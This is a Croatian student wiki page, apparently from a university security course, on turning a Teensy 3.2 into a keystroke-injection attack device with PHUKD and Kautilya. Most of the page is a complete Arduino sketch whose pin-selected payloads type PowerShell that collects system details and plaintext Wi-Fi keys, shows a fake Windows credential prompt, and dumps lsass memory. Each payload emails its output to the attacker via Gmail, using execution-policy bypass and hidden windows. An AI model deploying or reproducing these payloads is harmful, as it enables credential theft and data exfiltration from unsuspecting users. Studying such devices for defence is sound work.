Teensy 3.2 (the Glitch/Rubberducky clone)

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Temu rezervirao : Aleksandar Trajkov


Sadržaj

Instalacija i uvod

Teensy je cijelovit sustav baziran na USB-u za razvoj pomoću mikrokontrolera. Krasi ga mogućnost reprogramiranja, a svo programiranje izvršava se preko USB porta.

Teensy 3.2 bez pinova

Teensy 3.2/3.1 (jer su vrlo slične verzije pa ih se često poistovjećuje) posjeduje sljedeće performanse :

  1. Processor - MK20DX256 32 bit ARM Cortex-M4 72 MHz
  2. Flash Memory - 262144
  3. Ram Memory - 65536
  4. EEPROM - 2048
  5. I/O - 34, 3.3V, 5V
  6. Analog In - 21
  7. PWM - 12
  8. UART,I2C, SPI - 3,2,1
  9. Cijena - $19,80 (139,59 HRK)

Teensy se koristi na način da se najprije instalira neka od Arduino verzija, najnovija je 1.8.1. ako se ne varam međutim nije kompatibilna sa Teensyduinom (add-on) koji će nam biti potreban za pokretanje koda u Teensyju, pa ćemo koristiti verziju 1.8.0., a može se downloadati ovdje.

Nakon instalacije Arduina, potrebno je downloadati već spomenuti Teensyduino, a na stranici imate korake kako instalirati Teensyduino na pojedinom sustavu.

Trenutno imate konfiguraciju koja radi na windows sustavima. Iz nekih trećih i kompliciranih razloga, to mi nije proradilo na Ubuntuu, ali opet, možda nisam bio dovoljno uporan. Sada možete pisati kod u Arduinu i programirati svoj Teensy da radi sve što zapišete.



Zašto koristiti Teensy za pen-testing?

  1. Piše brže nego čovjek, i to bez greške što je ključno kad je napad vremenski limitiran
  2. Radi i kad je U3 autorun isključen
  3. Privlači manje pozornosti za razliku od sjedenja pred terminalom. Ovako je dovoljno da osoba okrene glavu od računala i bum - priključeni ste.
  4. Može biti programiran sa timerom kada znate da će meta biti za računalom, ili preko senzora to može doznati pa napad može bit direktan i učinkovit.
  5. Ubacite uređaj u USB uređaj i imate programski kod + spremište podataka.

Što raditi pomoću Teensyja?

  1. Dodati usera
  2. Pokrenuti program koji postavlja backdoor
  3. Kopirati podatke na svoj thumbdrive
  4. Otići na website sa cookiesima i napravit nekakvu transakciju (kao CSRF, ali baziranu na hardveru)


Arduino IDE sa Teensyduino add-onom

Kao što se vidi na Slici 2, kod se u Arduinu dijeli na 2 dijela, setup i loop. Setup se pri spajanju Teensyja na računalo izvršava samo 1, odmah pri spajanju na računalo, dok se loop konstantno vrti i pogodan je za Teensy budući da ima pinove koji se daju prespajati, pa se mogu izvršavati različiti blokovi koda, recimo na poziciji pina 1 (na Teensyju potrebno povezati pin GND-uzemljenje, i pin br.1) se pokreće nekakav sniffer, dok promjenom tog pina, na npr. pin broj 3 se nalazi installer backdoora ili nešto treće. Dakle loop postoji sa svrhom dinamičnosti, promjene funkcionalnosti, što se u setupu ne može izvršiti.


Kao što smo već rekli, kod je vrlo sličan c++-u i c-u, tako da sintaksno nebi trebali imati problema osim nekakvih izuzetaka. Libraryji se uključuju u zaglavlju koda, a globalne varijable se definiraju ispod toga, onda dalje idu setup i loop, te je ispod toga moguće definirati neke funkcije kako bi ih pozivali u kodu po potrebi.

Primjer koda je na slici 2. Odmah na prvoj liniji koda vidimo include biblioteke koje nam trebaju, može ih biti i više, a morate ih prvo fizički ubaci u arduino folder (".../Arduino LLC\Arduino\libraries"), te se onda može slobodno pozvati bez problema u kodu. Odmah ispod toga slijede definicije nekih globalnih varijabli koje nam negdje mogu trebati ili ne (Sve na slici je samo za primjer).

U odjeljku setup vidimo isječak koda koji nam treba za "razumjevanje" koji pinovi su aktivni na Teensyju, kako bi kasnije u odjeljku loop mogli odabrati koja funkcija se izvršava ovisno o aktivnosti pina


if(!digitalRead(pin1)) neka_funkcija();


te ispod toga normalno nastavak, odnosno definicija i deklaracija funkcija po potrebi.




PHUKD i Kautilya

PHUKD

Iza simpatičnog akronima PHUKD krije se sve što trebate znati o uređaju. Programmable HID USB Keystroke Dongle se koristi često kao "posrednik", neki nevidljivi uređaj između npr miša kojeg ste kupili sa E-baya i vašeg računala. Phukd uređaj je ugrađen na miš, dakle na kraj njegovog USB kabla ide PHUKD uređaj koji prosljeđuje podatke računalu i "pravi se" da je miš, tipkovnica ili nešto treće. Naime računalo taj uređaj doživljava kao miš, tipkovnicu ili nešto treće te ga ne provjerava kao memory storage ili običan usb, dok se u pozadini može izvršiti neki zadatak koji je napisan u kodu. Tako možete naići na stvar koja se zove Trojanski miš i bit žrtva nekog spywarea, a da ni ne znate.

Trojanski miš

PHUKD spominjem iz razloga što se na stranicama Iron Geek-a, moe pronaći phukdlib.h biblioteka sa nekim interesantnim funkcijama koje vam za početak mogu pomoći u razumijevanju funkcioniranja Teensyja.


    CommandAtRunBarMSWIN(char *SomeCommand)
    Opens the MS Windows run bar and executes the given command
    CommandAtRunBarGnome(char *SomeCommand)
    Opens a run bar in Gnome under Linux and executes the given command
    CommandAtRunBarOSX(char *SomeCommand)
    Opens Spotlight under OS X and executes the given command
    
    CommandAtNewTerminal(char *SomeCommand);
    Opens a Terminal under OS X and executes the given command.
    
    ShrinkCurWinMSWIN()
    Shrinks the active window to help hide it in MS Windows.
    
    ShrinkCurWinGnome()
    Shrinks the active window to help hide it in Gnome.
    
    ShrinkCurWinOSX();
    Shrinks the active window to help hide it in OS X.
    
    PressAndRelease(int KeyCode, int KeyCount)
    
    This function simplifies the pressing and releasing of a key. You can also specify how many
    times to hit the key (really useful for tabbing to where you need to be on web sites).


Ovo su samo neke od funkcija koje phukdlib.h ima definirano, i vrlo su korisne za početnike, a ako vas zanima još, downloadajte zip sa kodom biblioteka



Kautilya

Moram priznati da mi ništa nije bilo jasno kad je profesor Kišasondi rekao da pogledam taj repozitorij na Gitu, međutim ispalo je da je Kautilya prepredobra i da je to na neki način generator koda za napade, ovisno o napadu koji želite izvest, na kojem operacijskom sustavu i slično. U početku se činilo kako je to gotov kod na stranici i vidio se "princip" koda, odnosno što bi trebao raditi otprilike, međutim falile su neke definicije funkcija i još dosta pojedinosti koje generator baziran na Rubyju generira.

Za instalaciju svega na linuxu, koristite ovu stranicu. Arduino za instalirati na linuxu - nije problem. Teensyduino plugin za instalirati na linuxu - nije problem (protip : za doznati gdje se nalazi .exe od Arduina, a trebat će vam, koristite naredbu which Arduino). Čak niti ubaciti UDEV rules datoteku nije toliko teško (sve opisano na stranici), međutim...... za pokrenuti Kautilyu je trebalo barem 2,5h. Bundler koji je potreban za pokretanje Kautilye se može instalirati ovako ili jednostavno upišite sljedeće naredbe u terminal

gem install bundler

Nakon toga specificirajte zavisnosti u Gemfileu vašeg projekta (za Kautilyu treba colored, highline i artii) dodajte sljedeće retke :

    source 'https://rubygems.org'
    gem 'nokogiri'
    gem 'rack', '~> 2.0.1'
    gem 'rspec'

i tu će vam vjerojatno javiti kako gem Rack 2.0.1. više nije podržan, te da koristite naredbu bundle install kako bi se integrirala prva sljedeća radeća verzija. Međutim ako ste ruby skinuli samo pomoću

sudo apt-get install ruby ili ruby-full, verzija rubyja će biti 1.9.1 dok bundle zahtjeva minimalno 2.1.0 verziju i tu počinju problemi. Čak i nakon što se ruby 1.9.1. deinstalirao, a novi ruby 2.4.0 instalirao, u bundle i bundler ruby fileovima stoji ruby 1.9.1. pa vodite računa da tamo promjenite verzije, i upišete pravilne putanje do ruby.exe-a pomoću kojeg ćete pokrenuti generator kasnije. Detaljnu instalaciju pogledajte ovdje.


Sljedeći korak je otići u Kautilya folder gdje se nalazi .rb file i upisati:


sudo putanja/do/ruby.exe kautilya.rb


i voila! Pokrenuli ste Kautilyu.

Kautilya.rb u terminalu
Opcije u Kautilya.rb

Kautilya ima mnoštvo mogućnosti i opcija kao što se vidi na slici iznad. Sve generirane .ino i .pde datoteke nalaze se u /output folderu u Kautilya matičnom folderu. Ono što sam ja implementirao u ovom projektu je da sam stavio 4 različita funkcionalna koda na Teensy s razlogom da "mijenjam" napade na računalu s promjenom pinova. Implementiran je i sigurnosni mehanizam da se napad izvrši samo jednom po uključivanju kako nebi došlo do loopa te se vađenjem Teensyja prekida napad, i može ostaviti "tragove" za sobom.

Generirao sam 4 opcije iz Kautilye za probu kako bi ih implementirao na Teensy, a kasnije su sastavljene na način da rade jednokratno na promjenu pina i to na pinovima od 3 do 6. Prvo sam generirao Info.pde koji s opcijom slanja podataka na gmail vraća wlan key-eve i imena napravljenih profila, naziv usera, instalirane aplikacije, pokrenute servise i još mnogo toga što možete vidjeti u mailu kad vam stigne. Sljedeće sam generirao wlan_key.ino koji vraća sve profile koje imate u računalu, sve WLAN-ove na koje ste se spajali i informacije o njima. Iza toga sam pokušao sa credentials.ino kodom koji generira lažni prozor koji izgleda kao windows prozor i traži da unesete username i password od trenutnog računa, i stvarno funkcionira jer ne možete bilo što unijeti, mora odgovarati računu sa kojim ste ulogirani. Naposljetku sam još probao memdump.ino file koji generira memory dump, odnosno .dmp file i šalje ga na gmail, pa se dalje s tim može raditi što se hoće uz odgovarajuće alate. Ta 4 bloka kodova sam implementirao u jedan file koji otprilike izgleda ovako :

   #define BOARDTYPE
   #ifdef TEENSY2
   #include<usb_private.h>
   #endif

Nakon što sam obavio pozive biblioteka, slijede globalne varijable i postavke

    int thispin;
    int PhotoRead = analogRead(0);
    int OldPhotoRead = PhotoRead;
    int ledPin =  11;   
    boolean ledPinState = true;
    boolean CapsLockTrapSet = false;
    int DIP_1 = 3;
    int DIP_2 = 4;
    int DIP_3 = 5;
    int DIP_4 = 6;
    int z1 = 0;
    int z2 = 0;
    int z3 = 0;
    int z4 = 0;  
    
    char *DIPOptions=
    "DIP 1 Info o racunalu \n\r" 
    "Dip 2 Wlan info \n\r"
    "Dip 3 Credentials cheat \n\r"
    "Dip 4 Memdump \n\r"
    ;

Z* varijable koristim samo kako bi se zadaci izvršili samo jednom, čim se aktivira Teensy, dobivaju vrijednost 0, nakon izvršavanja funkcionalnosti, dobijaju vrijednost 1 i poslije toga, loop "čeka" jer se ispred svake funkcionalnosti nalazi provjera da je Z1,2,3,4 == 0 što znači da je "prvi ulaz" u taj dio koda od uključenja Teensyja. Slijedi setup iz libdev filea koji je došao uz phukdlib.h, a s kojim se radi sa različitim pinovima.

    void setup()   {
    for (int thispin=0; thispin <=10;thispin++){
    pinMode(thispin, INPUT_PULLUP); // Dip
    }
    pinMode(ledPin, OUTPUT);   
    }


Sada slijede odsječci koda u loop dijelu sketcha koji se dijele prema pinu, ponovno linija !digitalRead(pin_neki_broj) pomoću koje provjeravamo koji je pin uključen, no da najprije definiram 2 funkcije koje koristim, a u svakom bloku koda su. Prva funkcija je startup() koju svaki dio koda izvrši na početku.

    void startup(){
      delay(1000);
      wait_for_drivers(2000);
    
      minimise_windows();
      delay(500);
      while(!cmd_admin(3,500))
      {
      reset_windows_desktop(2000);
      }
      }

I Druga funkcija showout(char *some) koja prosljeđuje podatke na jedan od odabranih načina (kod nas je to na gmail).

     void showout(char *some){
      String fn = some;
      String fp;
       if ("gmail" == "pastebin")
      {
        pastebin(fn);
      }
      else if ("gmail" == "gmail")
      {
        if (fp != "")
        {
            gmail(fn,fp);
        }
        else
        {
            gmail(fn,"no");
        }
      }
      else if ("gmail" == "post")
      {
        hpost(fn);
      }
      else if ("gmail" == "dns")
      {
        dns(fn);
      }
      }

i dodatne definicije nekih funkcija koje se ovdje spominju, a definirane su na kraju sketcha.

    void reset_windows_desktop(int sleep)
    {
    delay(1000);
    minimise_windows();
    delay(sleep);
    minimise_windows();
    delay(sleep);
    minimise_windows();
    delay(200);
    }
    
    void minimise_windows(void)
    {
    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
    Keyboard.set_key1(KEY_M);
    Keyboard.send_now();
    delay(300);
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(500);
    delay(300);
    }
    
    bool cmd_admin(int reps, int millisecs)
    {
    make_sure_capslock_is_off();
    delay(700);
    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
    Keyboard.send_now();
    Keyboard.set_modifier(0);
    Keyboard.send_now();
    delay(3000);
    Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"");
    delay(2000);
    Keyboard.set_modifier(MODIFIERKEY_CTRL);
    Keyboard.send_now();
    Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
    Keyboard.send_now();
    Keyboard.set_key1(KEY_ENTER);
    Keyboard.send_now();
    delay(200);
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(500);
    delay(7000);
    send_left_enter();
    delay(4000);
    create_click_capslock_win();
    check_for_capslock_success_teensy(reps,millisecs);
    }
    
    void wait_for_drivers(int sleep)
    {
    bool CapsLockTrap = is_caps_on();
    while(CapsLockTrap == is_caps_on())
    {
    Keyboard.set_key1(KEY_CAPS_LOCK);
    Keyboard.send_now();
    delay(200);
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(500);
    delay(sleep);
    }
    Keyboard.set_key1(KEY_CAPS_LOCK);
    Keyboard.send_now();
    delay(200);
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(500);
    delay(sleep);
    }

Sami nazivi funkcija govore što koja radi, dakle dosta su intuitivne. Posljednje što je ostalo su linije koje je Kautilya generirala, a direktne su naredbe za cmd. Prva je Info o računalu.

    if (!digitalRead(DIP_1)) {
 if(z1==0){
      startup();
      z1++;
      Keyboard.println("echo $pn = $env:COMPUTERNAME + \"  Info\" > %temp%\\in.ps1");
      Keyboard.println("echo $user = \"vašemail\" >> %temp%\\in.ps1");
      Keyboard.println("echo $pass = \"vašašifra\" >> %temp%\\in.ps1");
      Keyboard.println("echo $dev = \"INPUT3\" >> %temp%\\in.ps1");
      delay(1000);
      Keyboard.println("echo function regv($rk, $rg,$ch) >> %temp%\\in.ps1");
      Keyboard.println("echo { >> %temp%\\in.ps1");
      Keyboard.println("echo if ($ch -eq \"no\"){$key = get-item $rk} >> %temp%\\in.ps1");
      Keyboard.println("echo else{$key = ls $rk} >> %temp%\\in.ps1");
      Keyboard.println("echo $key ^| >> %temp%\\in.ps1");
      Keyboard.println("echo ForEach-Object { >> %temp%\\in.ps1");
      Keyboard.println("echo $v = gp $_.PSPath >> %temp%\\in.ps1");
      Keyboard.println("echo ForEach ($value in $_.Property) >> %temp%\\in.ps1");
      Keyboard.println("echo { >> %temp%\\in.ps1");
      Keyboard.println("echo if ($rg -eq \"all\") {$v.$value} >> %temp%\\in.ps1");
      Keyboard.println("echo elseif ($rg -eq \"allname\"){$value} >> %temp%\\in.ps1");
      Keyboard.println("echo else {$v.$rg;break} >> %temp%\\in.ps1");
      Keyboard.println("echo }}} >> %temp%\\in.ps1");
      Keyboard.println("echo $o = \"Logged in users:`n\" + (regv \"hklm:\\software\\microsoft\\windows nt\\currentversion\\profilelist\" \"profileimagepath\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n PS Env:`n\" + (regv \"hklm:\\software\\microsoft\\powershell\1\" \"allname\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Putty trusted hosts:`n\" + (regv \"hkcu:\\software\\simontatham\\putty\" \"allname\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Putty saved sessions:`n\" + (regv \"hkcu:\\software\\simontatham\\putty\\sessions\" \"all\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Shares:`n\" + (regv \"hklm:\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares\" \"all\" \"no\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Env vars:`n\" + (regv \"hklm:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" \"all\" \"no\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Current user:`n\" + (regv \"hkcu:\\Volatile Environment\" \"all\" \"no\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n SNMP cs:`n\" + (regv \"hklm:\\SYSTEM\\CurrentControlSet\\services\\snmp\\parameters\\validcommunities\" \"all\" \"no\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n SNMP cs - user:`n\" + (regv \"hkcu:\\SYSTEM\\CurrentControlSet\\services\\snmp\\parameters\\validcommunities\" \"all\" \"no\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Installed Apps:`n\" + (regv \"hklm:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" \"displayname\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Installed Apps - user:`n\" + (regv \"hkcu:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" \"displayname\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Domain:`n\" + (regv \"hklm:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\\" \"all\" \"no\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Contents of /etc/hosts:`n\" + (gc -path \"C:\\windows\\System32\\drivers\\etc\\hosts\") >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Running Services:`n\" + (net start) >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Account Policy:`n\" + (net accounts) >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Local users:`n\" + (net user) >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n Local Groups:`n\" + (net localgroup) >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o + \"`n WLAN Info:`n\" + (netsh wlan show all) >> %temp%\\in.ps1");
      Keyboard.println("echo $o = $o.Replace(\"/\",\"\\\") >> %temp%\\in.ps1");
      Keyboard.println("echo $pv = $o.Replace(\"www\",\"uuu\") >> %temp%\\in.ps1");
      showout("in");
      Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\in.vbs");
      Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\in.ps1\"),0,true >> %temp%\\in.vbs");
      delay(1000);
      Keyboard.println("wscript %temp%\\in.vbs");
      delay(1000);
      Keyboard.println("exit");
        }}  //           

Što rezultira otprilike ovakvim mailom, i podacima o računalu :

Mail koji pristigne nakon "obrade" računala


Popis podataka o računalu je poprilično detaljan, sadrži podnaslove kao što su Logged in users, PS Env, Putty saved sessions, Shares, Env vars, SNMP cs, SNMP cs - user, Installed Apps, Installed Apps - user, Domain, Contents of \etc\hosts, Running Services, Account Policy, Local users, local groups i Wlan info. Sljedeći odsječak koda pokazuje nam što se dešava kad je pin 4 aktivan, odnosno kada želimo samo Wlan info od mete.


Mail koji pristigne nakon "obrade" računala - Wlan info

    if (!digitalRead(DIP_2)) {
          if(z2==0){
            z2++;
            startup();
            Keyboard.println("echo $pn = $env:COMPUTERNAME + \"  WLAN-Keys\" > %temp%\\wl.ps1");
            Keyboard.println("echo $user = \"vašemail\" >> %temp%\\wl.ps1");
            Keyboard.println("echo $pass = \"vašašifra\" >> %temp%\\wl.ps1");
            Keyboard.println("echo $dev = \"INPUT3\" >> %temp%\\wl.ps1");
            Keyboard.println("echo $w = netsh wlan show profiles ^| Select-String -Pattern \"All User Profile\" ^| foreach {$_.ToString()} >> %temp%\\wl.ps1");
            Keyboard.println("echo $ed = $w ^| foreach {$_.Replace(\"    All User Profile     : \",$null)} >> %temp%\\wl.ps1");
            Keyboard.println("echo $pv = $ed ^| foreach {netsh wlan show profiles name=\"$_\" key=clear} >> %temp%\\wl.ps1");
            showout("wl");
            Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\wl.vbs");
            Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\wl.ps1\"),0,true >> %temp%\\wl.vbs");
            delay(1000);
            Keyboard.println("wscript %temp%\\wl.vbs");
            delay(1000);
            Keyboard.println("exit");
            }}//

Kao što vidimo, dobivamo vrlo detaljan ispis WLAN profila sa metinog računala. Spominju se sljedeće stavke: Applied, Version, Type, Name, Control Options, Connection mode, Network broadcast, AutoSwitch, Connectivity settings, Number of SSIDs, SSID name, Network type, Radio type, Vendor extensions, Security settings, Authentication, Cipher, Security key, Key Index, Cost settings, Cost, Congested, Approaching Data Limit, Over Data Limit, Roaming, Cost Source. Dobivamo vrlo detaljan uvid u korisnikovo ponašanje prema svim profilima koje ima, njegove "navike" i slične sitnice kojima možemo otkriti dosta ranjivosti i predvidjeti ponašanja korisnika.

Sljedeći isječak koda reagira na pin 5 i plasira korisniku lažni prozor koji se ne gasi dok se ne unesu username i password koji odgovaraju tom računalu.

Lažni prozor koji traži kredencijale korisnika - username i password

    if (!digitalRead(DIP_3)) {
          if(z3==0){
            z3++;
            startup();
            Keyboard.println("echo $ErrorActionPreference=\"SilentlyContinue\" > %temp%\\cr.ps1");
            Keyboard.println("echo $user = \"vašemail\" >> %temp%\\cr.ps1");
            Keyboard.println("echo $pass = \"vašašifra\" >> %temp%\\cr.ps1");
            Keyboard.println("echo $dev = \"INPUT3\" >> %temp%\\cr.ps1");
            Keyboard.println("echo $pn = $env:COMPUTERNAME + \"  Credentials\" >> %temp%\\cr.ps1");
            Keyboard.println("echo Add-Type -assemblyname system.DirectoryServices.accountmanagement  >> %temp%\\cr.ps1");
            Keyboard.println("echo $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext(  //nastavak linije ispod
            [System.DirectoryServices.AccountManagement.ContextType]::Machine) >> %temp%\\cr.ps1");
            Keyboard.println("echo $dn = \"LDAP://\" + ([ADSI]\"\").distinguishedName >> %temp%\\cr.ps1");
            Keyboard.println("echo while(1){ >> %temp%\\cr.ps1");
            Keyboard.println("echo $cr = $host.ui.PromptForCredential(\"Need credentials\", \"Please enter your user name and password.\", \"\", \"\") >> %temp%\\cr.ps1");
            Keyboard.println("echo if($cr){ >> %temp%\\cr.ps1");
            Keyboard.println("echo $creds = $cr.GetNetworkCredential() >> %temp%\\cr.ps1");
            Keyboard.println("echo [String]$u = $creds.username >> %temp%\\cr.ps1");
            Keyboard.println("echo [String]$p = $creds.password >> %temp%\\cr.ps1");
            Keyboard.println("echo [String]$domain = $creds.domain >> %temp%\\cr.ps1");
            Keyboard.println("echo $al = $DS.ValidateCredentials($u, $p) >> %temp%\\cr.ps1");
            Keyboard.println("echo $ad = New-Object System.DirectoryServices.DirectoryEntry($dn,$u,$p) >> %temp%\\cr.ps1");
            Keyboard.println("echo if(($al -eq $true) -or ($ad.name -ne $null)){ >> %temp%\\cr.ps1");
            Keyboard.println("echo $pv = \"Username: \" + $u + \" Password: \" + $p + \" Domain:\" + $domain >> %temp%\\cr.ps1");
            Keyboard.println("echo break}}} >> %temp%\\cr.ps1");
            showout("cr");
            Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\cr.vbs");
            Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\cr.ps1\"),0,true >> %temp%\\cr.vbs");
            delay(1000);
            Keyboard.println("wscript %temp%\\cr.vbs");
            delay(1000);
            Keyboard.println("exit");
            }
          } 

Nakon pravilnog i točnog ispunjavnja ove forme od "Windowsa", automatski se prosljeđuje na email koji ste odabrali, ili nekim drugim kanalom (ftp server, nešto treće..)

Posljednja opcija ovog Teensyja je memory dump. Kod generira .dmp file kojeg valja otvoriti nekim alatom te se u njemu nalaze različite stvari iz računala. Kod izgleda ovako :

.dmp file generiran iz koda, prepun informacija

    if (!digitalRead(DIP_4)) {
          if(z4==0){
            z4++;
            startup();
            Keyboard.println("echo $pn = $env:COMPUTERNAME + \"  Memory dump\" > %temp%\\mdmp.ps1");
            Keyboard.println("echo $user = \"vas_email\" >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $pass = \"vasa_sifra\" >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $dev = \"INPUT3\" >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting') >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $WERNM = $WER.GetNestedType('NativeMethods', 'NonPublic') >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $Flags = [Reflection.BindingFlags] 'NonPublic, Static' >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $MDW = $WERNM.GetMethod('MiniDumpWriteDump', $Flags) >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $MDF = [UInt32] 2 >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $PrI = Get-Process \"lsass\" >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $PrN = $PrI.ProcessName >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $PrH = $PrI.Handle >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $FSt = New-Object IO.FileStream(\"$env:temp\\$PrN.dmp\", [IO.FileMode]::Create) >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $Result = $MDW.Invoke($null, @($PrH,$ProcessId,$FSt.SafeFileHandle,$MDF,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)) >> %temp%\\mdmp.ps1");
            Keyboard.println("echo $FSt.Close() >> %temp%\\mdmp.ps1");
            delay(1000);
            String fn = "mdmp";
            String fp = "$env:temp\\$PrN.dmp";
             if ("gmail" == "pastebin")
            {
              pastebin(fn);
            }
            else if ("gmail" == "gmail")
            {
              if (fp != "")
              {
                  gmail(fn,fp);
              }
              else
              {
                  gmail(fn,"no");
              }
            }
            else if ("gmail" == "post")
            {
              hpost(fn);
            }
            else if ("gmail" == "dns")
            {
              dns(fn);
            }
            Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\mdmp.vbs");
            Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\mdmp.ps1\"),0,true >> %temp%\\mdmp.vbs");
            delay(1000);
            Keyboard.println("wscript %temp%\\mdmp.vbs");
            delay(3000);
          
            Keyboard.println("exit");
            
            }}




Zaključak

Teensy 3.2 je vrlo moćan alat u kombinaciji sa kvalitetnim kodom. Tehnički gledano - zaštite od toga nema, postoje nekakvi "čepovi" za usb portove, ali realno - tko to posjeduje? Kautilya također vrlo moćna ruby skripta, lako se s njom radi i posjeduje dosta opcija za kvalitetan napad. Zaključak je taj da nitko nije siguran, a Teensy je vrlo praktičan uređaj koji, ako dođe u vješte ruke, može napraviti mnogo štete, na ovaj ili onaj način.


Literatura

  1. http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle#Programming_examples_and_my_PHUKD_library
  2. http://forum.top-hat-sec.com/index.php?topic=5503.0
  3. http://bundler.io/
  4. https://gorails.com/setup/ubuntu/14.04
  5. https://github.com/tkisason/Kautilya
  6. https://forums.hak5.org/index.php?/topic/34172-badusb-vs-rubber-ducky/
  7. https://www.youtube.com/watch?v=g_ecnM7ULDw&t=22s
Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima